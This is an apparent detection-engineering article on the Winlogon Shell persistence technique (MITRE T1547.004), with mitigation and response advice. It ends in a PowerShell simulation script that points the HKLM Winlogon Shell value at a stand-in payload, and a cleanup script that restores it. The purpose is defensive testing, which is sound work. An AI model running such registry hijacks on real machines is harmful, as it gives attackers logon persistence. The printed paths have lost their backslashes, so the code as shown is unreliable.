T1547.004 in MITRE ATT&CK: Winlogon Helper Explained

Summary

The article explains the Winlogon Helper DLL persistence method tracked as T1547.004 and shows how adversaries tamper with Winlogon registry keys to load malicious code during user logon. It references real-world examples tied to the ToyBraker campaign, KamiKakaBot malware, and a sample known as Mandela.exe. The emphasis is on registry changes that trigger automatic execution of malicious DLLs or executables when a system starts or a user signs in.

Investigation

Researchers documented attackers creating unauthorized user accounts and altering Winlogon registry values such as LegalNoticeText, DefaultUserName, AutoLogonCount, and Shell to preserve access. Malware samples and intrusion cases also showed use of command-line tools like net user and reg add to inject malicious settings and launch PowerShell payloads during the login process.

Mitigation

Defenders should closely monitor and restrict modifications to Winlogon registry keys, apply least-privilege controls to account creation, and use application control to block untrusted or unsigned DLLs. Regular reviews of scheduled tasks, services, and startup locations can further help identify unauthorized persistence changes.

Response

When suspicious Winlogon registry activity is discovered, isolate the affected endpoint, capture volatile evidence, and restore the modified registry values to a known-good state. A forensic investigation should then look for any additional persistence mechanisms and scan the host for related malware components.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (T1547.004) designed to trigger the detection rule. The commands and narrative directly produce the telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker who has obtained local admin rights wants persistence across reboots. They choose the classic Winlogon “Shell” hijack because it runs before the user desktop loads and evades many endpoint AV products. The steps are:

  1. Create a malicious payload (e.g., C:Tempevil.exe).
  2. Add a new value to HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonShell pointing to the payload.
  3. Verify the change took effect, then log off/on to achieve execution.

• Regression Test Script:

  #-------------------------------------------------
  # Regression Test – Winlogon Shell Hijack (T1547.004)
  #-------------------------------------------------
  param(
      [string]$PayloadPath = "C:Tempevil.exe",
      [string]$BackupPath = "$env:Tempwinlogon_shell_backup.txt"
  )
  
  # 1. Deploy a dummy payload (a simple calc.exe copy for demo)
  if (-not (Test-Path $PayloadPath)) {
      Copy-Item "$env:SystemRootSystem32calc.exe" $PayloadPath -Force
  }
  
  # 2. Backup current Shell value (if any)
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $currentShell = (Get-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue).Shell
  Set-Content -Path $BackupPath -Value $currentShell -Encoding UTF8
  
  # 3. Set malicious Shell value
  Set-ItemProperty -Path $regPath -Name Shell -Value $PayloadPath -Force
  
  Write-Host "[+] Malicious Winlogon Shell set to $PayloadPath"
  Write-Host "[+] Original value saved to $BackupPath"

• Cleanup Commands:

  #---------------------------------
  # Cleanup – Restore Winlogon Shell
  #---------------------------------
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $backupFile = "$env:Tempwinlogon_shell_backup.txt"
  
  if (Test-Path $backupFile) {
      $original = Get-Content -Path $backupFile -Raw
      if ([string]::IsNullOrWhiteSpace($original)) {
          # Original value was empty – remove the property
          Remove-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue
      } else {
          Set-ItemProperty -Path $regPath -Name Shell -Value $original -Force
      }
      Remove-Item $backupFile -Force
      Write-Host "[+] Winlogon Shell restored to original state."
  } else {
      Write-Warning "Backup file not found – manual inspection required."
  }